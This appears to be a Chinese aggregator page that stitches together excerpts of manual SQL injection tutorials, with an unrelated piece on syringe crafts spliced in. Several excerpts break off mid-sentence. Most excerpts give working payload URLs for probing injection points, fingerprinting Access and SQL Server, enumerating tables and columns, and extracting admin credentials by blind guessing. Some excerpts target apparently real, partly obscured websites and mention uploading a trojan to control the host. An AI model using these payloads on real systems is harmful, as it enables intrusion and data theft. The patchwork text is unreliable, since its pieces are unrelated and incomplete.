全程图解手工注入
- 格式:doc
- 大小:1.03 MB
- 文档页数:12
数字型sql手工注入原理
数字型SQL手工注入原理是指攻击者通过手工操作,向目标网站的数字型SQL注入漏洞中注入恶意代码,以获取网站敏感信息或者进行其他恶意行为的一种攻击方式。
数字型SQL注入漏洞是一种常见的Web安全漏洞,攻击者通过构造恶意的SQL语句,从而绕过应用程序的身份认证和访问控制机制,获取敏感数据或者执行非授权的操作。
攻击者通常会在数字型SQL注入漏洞中注入一些特殊字符,例如单引号、双引号、反斜杠等,从而使得注入的代码能够成功执行。
攻击者还可以利用SQL语句的逻辑漏洞,构造出一些恶意的SQL语句,例如' OR 1=1 - -,从而绕过应用程序的身份认证和访问控制机制。
为了避免数字型SQL注入漏洞的攻击,开发人员应该采用安全编码的最佳实践,包括使用参数化查询、输入验证、输出编码等措施,以确保应用程序对用户输入数据进行有效的过滤和处理。
同时,对于已经存在数字型SQL注入漏洞的应用程序,开发人员应该及时修复漏洞,以保护应用程序的安全性。
- 1 -。
SQL注⼊详细讲解概括-GET注⼊、POST注⼊、HEAD注⼊SQL注⼊详细讲解概括-GET注⼊、POST注⼊、HEAD注⼊1、SQL注⼊流程2、GET注⼊3、POST注⼊4、HEAD注⼊⼀、SQL注⼊流程 1、SQL注⼊流程 · 寻找注⼊点—与数据库交互的地⽅,⽐如登录框,搜索框、URL地址栏、登陆界⾯、留⾔板等等 · 判断是否存在注⼊点,判断数据库类型,确定注⼊⽅法 · 构造特殊语句,查询数据库数据⼆、GET注⼊ 1、What is GET注⼊ 要搞懂GET注⼊之前,先搞懂什么是GET传参。
GET传参:⽤户输⼊的内容参数会被传到地址栏(URL栏),是通过GET的⽅式进⾏传参 · 特点:传参内容可见,传参长度有限,标识“?”,输⼊的内容会可能被url编码 GET注⼊:通过GET传参的⽅式,传输恶意语句,进⾏SQL注⼊ 2、如何进⾏GET注⼊ ⼀般情况判断为传参⽅式为GET传参⽅式,⾸先进⾏GET注⼊测试,判断是否存在GET注⼊ 如何判断是否存在GET注⼊:要想知道是否存在,⾸先搞原理,弄清楚是如何发⽣的 简单说,原本程序要执⾏的代码拼接了⽤户输⼊的数据然后执⾏,就是本来⽤户输⼊的数据是要被查询的,但是被数据库当作代码执⾏ OK,AND,只需知道输⼊的数据有没有被数据库当作代码,可以判断存不存在注⼊点 AND,⽤户输⼊的数据⼀定不是输⼊everying都⾏的,如果⽤户随便输⼊的数据都被当做代码执⾏,那么这个⽹站就失去了它的功能,这是⽹站开发者不允许的 SO,要输⼊什么数据才能被判断是否存在注⼊点呢 先来看⼀段代码 $query = "SELECT first_name, last_name FROM users WHERE user_id = $id⽤户输⼊参数传⼊$id来输⼊1 >>>> $id=1 >>> sql语句就变成了下⾯这样$query = "SELECT first_name, last_name FROM users WHERE user_id = 1ok,look look 现在数据库收到的数据是这样的,,SELECT first_name, last_name FROM users WHERE user_id = 1AND,输⼊什么能够让数据库执⾏⼀些别的操作思考ing time(3min)当然是数据库语⾔了,,,试⼀试 or 怎么样ok,, >>> 1 or 1=1 >>> $id=1 or 1=1SELECT first_name, last_name FROM users WHERE user_id = 1 or 1=1输⼊的内容当作代码执⾏了 //这个叫做整形闭合 在来看⼀段,这次把变量⽤引号引起来,⽤单引号or⽤双引号,是不⼀样的破解⽅法$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"上⾯双引号⾥的是要被传⼊数据库执⾏的first,输⼊的数据被传⼊$id这个变量ok,那么输⼊⼀个 1 ,$id=1 and 此语句就变成了:SELECT first_name, last_name FROM users WHERE user_id = '1'那么要怎么做才能变成输⼊的数据变成代码执⾏呢?思考ing time(5min)ok,⽆论输⼊什么数据他都在引号⾥,那输⼊的数据就没有任何意义对吧,那就来突破引号,如何突破,,look here 》》 1' or 1=1 ' 》》 $id=1' or 1=1 ' 拼接试⼀试SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 ''FUCK,,有问题了,,不⼀样了 //这个叫做单引号闭合那么再来思考⼀个问题,当变量⽤双引号引起来怎么办,不是没⽤引号,也不是单引号思考ing time(2min)ok,easy 那就⽤双引号破解呗SELECT first_name, last_name FROM users WHERE user_id = "$id"look here 》》》 1" or 1=1 " 》》》 $id=1" or 1=1 "SELECT first_name, last_name FROM users WHERE user_id = "1" or 1=1 ""success,easy //这个叫做双引号闭合 OK,上⾯是能看到后端代码的,哪个⽹站愿意让你看到他的后端代码,It won't AND,看不到源码,怎么进⾏注⼊呢 so easy , 通过传⼊的恶意代码,观察页⾯情况,是否正常等,来判断是否存在注⼊点,确定注⼊⽅法 ⾸先我们找到传参点,进⾏注⼊尝试,⾸先判断闭合类型 SQL语句的闭合类型:整型闭合、单引号闭合、双引号闭合、单引号加括号、双引号加括号 · 整形闭合 1SELECT* FROM admin WHERE id=1; //整形闭合 模拟注⼊ ?id=1' => 报错 ?id=1'' => 报错 判断为整形闭合 · 单引号闭合 1SELECT* FROM admin WHERE id=‘1’; //单引号闭合 模拟注⼊ ?id=1' => 报错 ?id=1'' => 正常返回id=1的值 判断为单引号或者单引号括号闭合 任何闭合⽅式都这样在没有遇到相对应的闭合时,都会把这个符号当作⼀个整体,注释符也不例外 再次模拟注⼊ ?id=1'-+ => ⽆报错 => 单引号闭合 ?id=1'-+ => 报错 => 单引号括号闭合 · 双引号闭合 1SELECT* FROM admin WHERE id="1"; //双引号闭合 ?id=1' => 正常返回id=1的值 ?id=1" => 报错 判断为双引号闭合或者双引号括号闭合 再次模拟注⼊ ?id=1"-+ => ⽆报错 => 双引号闭合 ?id=1"-+ => 报错 => 双引号括号闭合 · 总结 判断闭合类型 ⾸先尝试:?id=1' ?id=1" 不报错 => 整形闭合 报错 => 单引号报错,双引号不报错 => 尝试 ?id=1'-+ => ⽆报错单引号闭合,报错单引号加括号闭合 报错 => 单引号不报错,双引号报错 => 尝试 ?id=1"-+ => ⽆报错双引号闭合,报错双引号加括号闭合 注⼊点找到,确定闭合⽅式开始进⾏注⼊攻击,以DVWA靶场为例 First,观察url栏判断为GET传参,先进⾏正常内容输⼊,输⼊1 ,看返回结果 第⼆步,测试是否存在注⼊,进⾏恶意语句测试,不知道闭合类型,先从整形闭合开始判断 1 and 1=1 页⾯正常,与id=1 时返回的内容⼀样不确定是否注⼊成功,因为and 1=1 恒成⽴所以还得进⾏第⼆次判断,1 and 1=2 页⾯正常,与id=1 时返回的内容⼀样,and 1=2 是恒不成⽴的,如果数据库执⾏了代码那么应该是没有数据返回的,现在返回了数据,so,不是整形闭合 ok,既然不是整形闭合,那么去尝试是不是单引号闭合,输⼊ 1',,,把错误显⽰出来了,说明是单引号闭合,既存在注⼊,⼜确定是单引号闭合,那么可以进⾏注⼊了。
SQL注入基本方法和假税务网站攻破全过程一、SQL手工注入步骤(以自制虚拟机环境为例)1.寻找注入点一般采用最简单的1=1判断为正常和1=2判断为错误来寻找,符合此条件的比为注入点。
2.直接在网址后加加单引号来判断数据库类型如在虚拟机环境下探测的结果为[Microsoft][ODBC SQL Server Driver][SQL Server],判断该数据库为SQL Server。
3.为进一步判断该数据库的版本,则在语句后加“and (@@version)>0”得出Microsoft SQL Server的数据库版本为2000。
4.判断登陆当前数据库的用户示例语句:http://192.168.2.5/list.asp?id=1 and user>0 ,结果:[Microsoft][ODBC SQL Server Driver][SQL Server]将nvarchar 值'dbo' 转换为数据类型为int 的列时发生语法错误,判断该数据库的用户为“dbo”。
5.判断当前数据库的名称示例语句:http://192.168.2.5/list.asp?id=1 and db_name()>0,结果为article,判断其他数据库名称则在地址后加“and (select name from master.dbo.sysdatabases where dbid=6)>1 ”语句,结果为:Northwind将dbid的值改为7则,结果为VRVEIS将dbid的值改为8则,结果为article将dbid的值改为9,10,11,返回结果为空白,基本判断其他数据库挖掘完毕。
6.进一步判断表结构。
示例:地址+ and (select top 1 name from sysobjects where xtype='u' and status>0)>0,得出第一个表为“t_jiaozhu”。
最新手工注入脚本安全电脑资料现在注入工具横行,自动化的程度已经...不能再自动了.很多人会熟练的使用啊D,明小子之类的自动注入工具.以为自己就会了...注入的原理呢.什么是注入.为什么会造成注入.过程...等.你知道吗?你有没有试过真正的手工注入?没吧.现在就利用我写的手工注入工具来讲解一下总体手工注入过程.先找个有注入漏洞的站.很简单满大街都是.. ___hu168./A3/NewsInfo.asp?id=75manage_Userusername adminpassword bfpmsid 35已经找好了.这是一个标准欠黑型网站.安全度就不用说了.. ___hu168./A3/NewsInfo.asp?id=75有注入漏洞的地址.检查一下.基本确定可能有漏洞.继续.. ___hu168./A3/NewsInfo.asp?id=75 and exists (select * from manage_User)查询manage_User这个表名是否存在.不好意思.这工具老出错...录制这个工具不怎么好用.有好用的有空介绍个啊....好了继续.manage_User 存在...页面返回正常...名字改了下`不存在就返回错误的页面`这里是给你填写提示语句用的`不用的话清空就行了.继续.返回正常.说明存在.继续.等等`听电话`不好意思.不是1位哦`回显错误.呵呵`5位的`回显正常`这样我们就知道他很多东西了`表..项..还有内容长度.帐号的第一位的第一个字母不是1所以出错.呵呵`帐号的第一位的第一个字母是a 正确...所以回显正常. 帐号是什么我想都不用怎么想了吧`5位数的admin确实是的哦....哈哈.. ___hu168./A3/NewsInfo.asp?id=75 and 1=(select count(*) from [manage_User] where left(username,5)='admin')为了给大家学习.我把例句都提取出来了.和程序过程是一样的,大家可以研究下.其他的密码等也是这种过程. 大家明白了吗?要难不是很难`只是要有耐心.如果简单的话就不会出现全自动的注入工具了.希望大家在使用我的工具的同时也能学到点东西.模板,内容仅供参考。
MSSQL手工注入并提权作者:海默Blog:/chjxhyy/目标站:在首页随便点几个链接,加’测试是否存在注入在该链接下报错了。
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串'237' order by pu_id asc' 之前有未闭合的引号。
/directory/xxoo.ASP?xx_ID=237'(为了避免利用搜索引擎搜到,所以隐藏的比较深)是字符型的。
字段后面还有order by 语句,用--注释掉就ok/directory/xxoo.ASP?xx_ID=237' and 1=1--正确/directory/xxoo.ASP?xx_ID=237' and 1=2--报错存在注入,下面习惯性的就是爆表和爆字段。
先查看下基本信息:查看MSSQL 数据库版本/directory/xxoo.ASP?xx_ID=237' and 0<>(select @@version)—为sql server2000的。
查看当前数据库/directory/xxoo.ASP?xx_ID=237' and db_name()>0—当前库的用户/directory/xxoo.ASP?xx_ID=237' and user>0—是否支持多语句查询/directory/xxoo.ASP?xx_ID=237' ;declare @a int—可以。
爆表之前还是先找下目录吧,免得得到账号密码找不到后台,不白瞎了。
url后面加admin,禁止列目录,后面加个几个常见的都不对,login.asp 、admin.asp 等等还是wwwscan扫下吧,原来是admin_main_asp,点击访问下登陆超时,然后转到了system目录,原来是这个/systemOk,下面爆表吧,第一个/directory/xxoo.ASP?xx_ID=237' and (select top 1 name from sysobjects where xtype='u')>0—第二个、、/directory/xxoo.ASP?xx_ID=237' and (select top 1 name from sysobjects where xtype='u' and name not in ('sdlabout'))>0—以此类推,爆出如下表:'zxkd','yjcx_qs','yjcx_md','yjcx','t_shop','t_publish','t_project','t_logins','t_functions','t_employee _functions','t_employee','sqyj','shopwin','sdlnews','sdlhome','sdl_member_old','sdl_member','Sa ilingSchedule','sailingdata','SailingAdjustmentInformation','RulesOperating','pu_cp','person','Ope rationalInformation','online_ly','oldSailingSchedule1','oldRulesOperating1','oldnewyunjia1','newy unjia','new_sailingdate','kouan','katj','IndustryNews','hxjx','FeeAdjustmentInformation','execlnam e','exceldata','dtxx','dtproperties','dcnews','dcmember','dc_sft','dc_sf','dc_jbxx','dc_hy','dc_hw','d c_gk','dc_gg_hw','dc_gg','sdlabout','AgentNetwork','aucclass','cusinfo'尼玛,不少啊,累死了。
网管必读从手工注入看防御之access篇WEB平安电脑资料很多情况下,入侵者在使用工具注入时发现工具才解不出来表名和字段名,那是因为所有的工具都有自己的一部字典,这部字典内包括了表名和字段名,假如员把表名和字段名改成了不在这部字典内,那么我们使用的工具将无法猜解出字段名和表名,入侵者将会构造简单的判断条件,来判断该页面是否存在注入破绽,一般步骤如下:这里要检测的页面为127.0.0.1/111/view.asp?id=1981.入侵者要想对站点进展手工注入就必须对阅读器进展设置,以保证手工注入时能返回出错信息,其操作步骤如下:右键点击阅读器选择“属性”,在弹出来的对话框中选择“高级”选项卡。
如以下图所示:图一接着去掉“显示友好的错误信息”前面的钩,最后点击“应用”按钮即可。
2.入侵者向阅读器提交如下url:127.0.0.1/111/view.asp?id=198 and 1=1假如存在SQL注入破绽,就可以查询数据库,1=1是一个恒等式可以忽略,因此会返回一个正常的页面,此页面和127.0.0.1/111/view.asp?id=198一样,这时入侵者便判断此站有希望被注入。
假如返回的是一些错误信息,那么一些初级的入侵者可能就会放弃这个站点。
3.入侵者进一步向阅读器提交如下url:127.0.0.1/111/view.asp?id=198 and 1=21=2为一个恒不等式,假如该站点支持数据库查询,那么大概会返回如以下图所示的信息:图二一般出现上图所示入侵者就根本确定此站可以进展SQL注入攻击了。
不过很多时候入侵者只需用一个单引号即可快速判断出目的站点是否存在SQL注入破绽,向阅读器提交如下url:127.0.0.1/111/view.asp?id=198’假如返回如下信息那么说明有一半时机以上存在注入破绽:Microsoft OLE DB Provider for ODBC Drivers 错误’80040e14’ [Microsoft] [ODBC Microsoft Aess Driver]字符串的语法错误在查询表达式’id =1’’中。
新⼿指南:DVWA-1.9全级别教程之SQLInjection*本⽂原创作者:lonehand,转载须注明来⾃DVWA简介DVWA(Damn Vulnerable Web Application)是⼀个⽤来进⾏安全脆弱性鉴定的PHP/MySQL Web应⽤,旨在为安全专业⼈员测试⾃⼰的专业技能和⼯具提供合法的环境,帮助web开发者更好的理解web应⽤安全防范的过程。
DVWA共有⼗个模块,分别是Brute Force(暴⼒(破解))Command Injection(命令⾏注⼊)CSRF(跨站请求伪造)File Inclusion(⽂件包含)File Upload(⽂件上传)Insecure CAPTCHA (不安全的验证码)SQL Injection(SQL注⼊)SQL Injection(Blind)(SQL盲注)XSS(Reflected)(反射型跨站脚本)XSS(Stored)(存储型跨站脚本)需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。
初学者可以通过⽐较四种级别的代码,接触到⼀些PHP代码审计的内容。
DVWA的搭建本⽂介绍SQL Injection模块的相关内容,后续教程会在之后的⽂章中给出。
SQL InjectionSQL Injection,即SQL注⼊,是指攻击者通过注⼊恶意的SQL命令,破坏SQL查询语句的结构,从⽽达到执⾏恶意SQL语句的⽬的。
SQL注⼊漏洞的危害是巨⼤的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注⼊仍是现在最常见的Web漏洞之⼀。
近期很⽕的⼤使馆接连被⿊事件,据说⿊客依靠的就是常见的SQL注⼊漏洞。
⼿⼯注⼊思路⾃动化的注⼊神器sqlmap固然好⽤,但还是要掌握⼀些⼿⼯注⼊的思路,下⾯简要介绍⼿⼯注⼊(⾮盲注)的步骤。
1.判断是否存在注⼊,注⼊是字符型还是数字型2.猜解SQL查询语句中的字段数3.确定显⽰的字段顺序4.获取当前数据库5.获取数据库中的表6.获取表中的字段名7.下载数据下⾯对四种级别的代码进⾏分析。
字符型手工注入原理字符型手工注入原理是一种常见的网络安全攻击方式,是指攻击者通过修改某个输入框的字符组合,达到绕过一些基本的身份认证或过滤机制,实现对网站或者应用的攻击或者恶意操作的行为。
如何保护自己应用系统不被字符型手工注入攻击呢?需要了解字符型手工注入原理和相关防御措施。
一、字符型手工注入的原理字符型手工注入原理是最常见的网络攻击方式之一,一些安全性较低的应用、网站以及业务系统,常常会被攻击者利用字符型手工注入原理进行攻击。
字符型手工注入的主要原理是攻击者在输入框中输入一些带着恶意特殊字符的语句,然后通过提交操作传给后台解析引擎时,在解析阶段执行特殊操作,达到绕过一些基本的身份认证或过滤机制,从而实现对网站或应用的攻击或恶意操作行为。
二、字符型手工注入的危害1、破坏数据:攻击者能够注入一些破坏性的代码,在数据库中进行删除、修改、插入和清空等操作,造成严重的后果。
2、盗取数据:通过注入一些查询命令,用来查询不该被查询的敏感数据,比如用户名、密码、银行卡号以及支付宝账号等重要信息。
3、攻击漏洞:攻击者通过手工注入方式,不断测试应用中的各种漏洞,破坏应用的稳定性和安全性。
三、字符型手工注入的防御1、完善身份认证:进行身份认证的措施是防御字符型手工注入的一个有效办法。
对于不同的操作权限,进行严格控制,必须判断当前操作是否属于合法用户。
2、过滤特殊字符:对于在输入框中输入的内容,进行过滤和转义处理,将用户输入内容中的特殊字符变成普通字符,可以有效地防止攻击者在输入框中插入修改数据。
比如在PHP代码中,可以用addslashes()、mysql_real_escape_string()等函数来完成数据过滤工作。
3、限制数据输入范围:有些输入框是用来输入只能是特定字符的数据,比如日期时间,电话号码等等,可以在输入框的默认状态下限制输入的字符类型。
4、对数据进行加密:对于网站使用敏感数据存储,需要对数据进行加密处理。
用注射器可以做什么手工
使用注射器进行手工创作是一种有趣的创意活动,可以制作各种有趣的手工作品。
以下是一些用注射器进行手工的创意主意:
1. 涂鸦艺术:将不同颜色的水彩或墨水注入注射器中,然后在画纸上进行涂鸦、绘画或书写。
通过控制注射器的压力和速度,可以创造出独特的艺术效果。
2. 绘制彩色背景:用注射器将彩色墨水或水彩液滴在画纸上,创造出丰富多彩的背景效果,然后在上面绘制其他图案或图像。
3. 装饰卡片和信封:使用注射器在卡片或信封上喷洒彩色墨水或水彩液,创造出独特的装饰效果,使卡片和信封更加美观。
4. 喷墨腐蚀画:将稀释的墨水注入注射器,然后将墨水喷洒在特定的绘画板上,形成腐蚀效果,创造出独特的艺术作品。
5. 粘贴工艺:用注射器将色彩鲜艳的液体胶水注入,然后将小珠子、亮片或其他装饰物粘贴在画纸或其他表面上,制作出闪闪发光的手工作品。
6. 纸张染色:将不同颜色的染料液注入注射器,然后将染料滴在白纸或其他纸张上,创造出独特的纹理和图案。
请注意,在进行这些手工创作时,需要小心操作,避免染料或墨水溅到衣物或家具上,同时确保使用无毒、环保的材料,保持良好的通风环境。
这些创意活动可以激发您的想象力和创造力,让您享受手工艺术的乐趣。
全程图解手工注入
回忆起刚学注入的时候,网上的教程杂乱无章,更郁闷的是。文章被无数次转载,很多常用的命令都出现错误,导致学习的很慢,差点对手工注入失去了信心。为了帮助初学者学习手工注入,从盲注和sql显错方式注入详细的写了图解教程,希望对初学者有帮助。 第一部分 盲注过程(使用了access数据库) 一、寻找注入点:使用经典的1=1 和1=2测试法 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26,显示
输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=1时,显示 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and 1=2时,显示
发生异常,存在注入漏洞. 二、判断数据库类型 (一)iis允许返回错误的情况 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and user > 0,显示 “Microsoft JET Database Engine (0x80040E07)标准表达式中数据类型不匹配”,表明数据库为Access。 (二)如果服务器IIS不允许返回错误,就从从Access和SQLServer和区别入手。Access和 SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表 [sysobjects]中,在Web环境下可正常读取。 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and (select count(*) from msysobjects)>0,显示如下图,由此可判断数据库类型为Access。
三 猜表名 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and exists (select * from [admin]),显示正常,证明数据库中存在admin表 如果不存在某字段,比如“XXX”,输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and exists (select * from [XXX],则显示错误
四、猜列名 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and exists (select [username] from [admin]),显示正常,说明admin表存在username字段
如果不存在,则显示错误。 五、猜字段长度和内容 准备猜admin中username字段的第一条记录的长度,输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and (select top 1 len(username) from Admin)>0 此语句的意思是,username的长度与0,1,2,3,4,5,6等数字比较,显然,如果字段长度为2,则2>0,1成立,2之后的数字不成立。,如图
说明username中第一条记录的长度是2,然后猜测它的内容。用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码。同样也是用逐步缩小范围的方法得到第1位字符的ASCII码。 输入http://127.0.0.1/shop/Shop(Access)/looknews.asp?id=26 and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2„,当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。
同理用and (select top 1 asc(mid(username,2,1) from Admin)>0,,2„到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r,说明第一个用户名为mr。同理,可以pass字段的值。这样猜解自然比较累,效率也不高,可以用折半法,写成程序猜解。 我们这样就得到了后台的数据库用户名和密码。之后就可以上传自己的马了,进而控制主机。 第二部分 sql server 显错模式注入 一、寻找注入点:使用经典的1=1 和1=2测试法 输入http://127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?id=20%20and%201=1显示正常。
输入http://127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?id=20%20and%201=2,出错,说 明存在注入点。下一步判断数据库类型。 二、判断数据库类型和数据库名 输入http://127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?id=20 and user>0,如图:
表明是SQLServer数据库,错误提示开启。user是SQLServer的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,转换过程中会出错,如图“将 nvarchar 值 'dbo' 转换成数据类型 int 时失败”,说明当前用户是sa登录。如果服务器IIS不允许返回错误提示,可以从Access和SQLServer和区别入手,Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示“没有权限”,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。通过
http://127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?id=20 and (select count(*) from sysobjects)>0 http://127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?id=20 and (select count(*) from msysobjects)>0 也可以判断出数据库类型。也可以用“and 0<>(select @@version)--”返回对方系统的版本和sql具体版本。输入后,如图 进一步,输入http://127.0.0.1/shop/Shop(SQL%20Server)/looknews.asp?id=20 and db_name()>0,返回数据库名,如图
可得到数据库名为“shop”。 三 猜表名 因为本网站可以显示错误,根据SQLServer数据库的特点,可以附加一些特殊的语句来达到爆出数据库的表名,列名以及内容。如果不能显示错误,可以用猜测和折半法相结合的方式,得到这些信息,这种方法在Access数据库注入过程中已经体现,下文用附加特殊语句的方式来得到这些信息。 SQL SERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的类型 u为用户表),id( 数据表的对象标志)。我们附加这样一段语句“and (select top 1 name from sysobjects where xtype=’U’ )>0” 得到shop的第一个表名“user”,然后附加“and (select top 1 name from sysobjects where xtype=’U’ and name not in (‘user’) )>0”,得到第二个表名,如图
得到第二个表名“bigclass”,依此类推,得到“class”“ admin”等所有用户表。 四、猜列名 我们对admin进行列名猜解。用到系统自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME ( table_id , column_id )”,参数table_id是表的标识号,column_id是列的标识号,object_id(admin)就是得到admin在sysobjects中的标识号,column_id=1,2,3表明admin的第1,2,3列,于是构造 and (select top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 ,如图: 得到admin字段的第一个列名“username”依次类推,得到“pass”“vip”等。 五、猜字段内容 我们附加“and (select top 1 username from [admin])>0”显示结果如图:
可得到用户名“mr”,再附加“and (select top 1 pass from [admin])>0”,如图: